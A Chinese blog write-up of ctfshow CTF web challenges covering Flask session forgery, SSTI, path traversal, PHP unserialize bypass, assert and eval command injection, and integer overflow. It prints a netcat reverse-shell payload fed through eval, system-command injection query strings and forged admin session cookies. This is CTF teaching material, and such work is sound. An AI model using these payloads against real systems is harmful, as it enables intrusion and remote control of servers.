目录

<1>愚人杯

(1) easy_signin

(2) easy_ssti(无过滤ssti)

(3) easy_flask(flash-session伪造)

(4) easy_php(C:开头序列化数据)

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

 (2) 一言既出,驷马难追(intval)

 (3) 传说之下(js控制台)

(4) 算力超群(python eval命令执行)

(5) 茶歇区(整形溢出)

​编辑


<1>愚人杯

(1) easy_signin

img参数 传入 index.php的base64编码

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

然后复制图片base64编码

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

解码得到flag

(2) easy_ssti(无过滤ssti)

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

(3) easy_flask(flash-session伪造)

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

 得到 SECRET_KEY:'S3cr3tK3y'

根据提示:But,there are some things I only want to give to users whose role is admin.

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

 应该是 需要构造JWT里role为admin身份即可

利用flask_session_cookie_manager3.py 伪造JWT

{"loggedin": true,"role": "admin","username": "a"}

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJhIn0.ZChNpw.V3E8F9wjt306gFpc0_5hA7bAl9Y 

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

...... 怎么是假的  不过 也给我们提供了下载路由  下载一下 app.py 成功得到源码

得到了 ........ 隐藏的内容

/hello路由存在 eval() 可以命令执行

 __import__('os').system('nc ip port -e /bin/sh')

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

(4) easy_php(C:开头序列化数据)

正则过滤了 以 O:数字 或者a:数字 开头的,明显 过滤了 平常的类与数组的序列化格式数据

之前攻防世界 Web_php_unserialize 就可以通过 O:+7 这种形式绕过 /[oc]:d+:/i 的正则  但这里因为是php7.几的版本 因此不能利用 O:+7绕过,反序列化不了。 如果是5.几 是可以的

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

存在 /download路由 可以任意文件下载,之过滤了flag

根据报错 得到当前路径 /app/static/img/

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

 目录遍历,下载app.py  访问:/download?file=../../app.py

可以看见SECRET_KEY : 'tanji_is_A_boy_Yooooooooooooooooooooo!'

当前session为:eyJjdXJyZW50X3dpZmkiOiJhZjE2ZWMxMmZmYTUwZDQ1MGJjYjUyNTQ1NjJjYmY4Zi5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZCgl0g.cvGaUTCW77a8qu5VaFee5OsFyxI 

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

我们应该利用SECRET_KEY flask 伪造session 为admin

github上有对应项目:flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 拿伪造好的session 去访问 /secret_path_U_never_know

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

 (2) 一言既出,驷马难追(intval)

利用断言,可以想办法构造一个为真的值绕过assert 或者直接利用assert达到rce

?num=114514)==1%20or%20system(%27ls%27);%23

?num=114514);(1919810

?num=114514%2b1919810-114514    %2b是+

 (3) 传说之下(js控制台)

看js源码 发现创建了一个 Game对象,里面记录的 分数 score

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

 在控制台输入: Game.score=2077 然后玩游戏吃一个果子就行

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

(4) 算力超群(python eval命令执行)

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

 b变量没有任何校验,直接import os模块,system命令执行反弹shell

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

(5) 茶歇区(整形溢出)

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

ctfshow 愚人杯&amp;菜狗杯部分题目(flasksession伪造&amp;ssti)

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。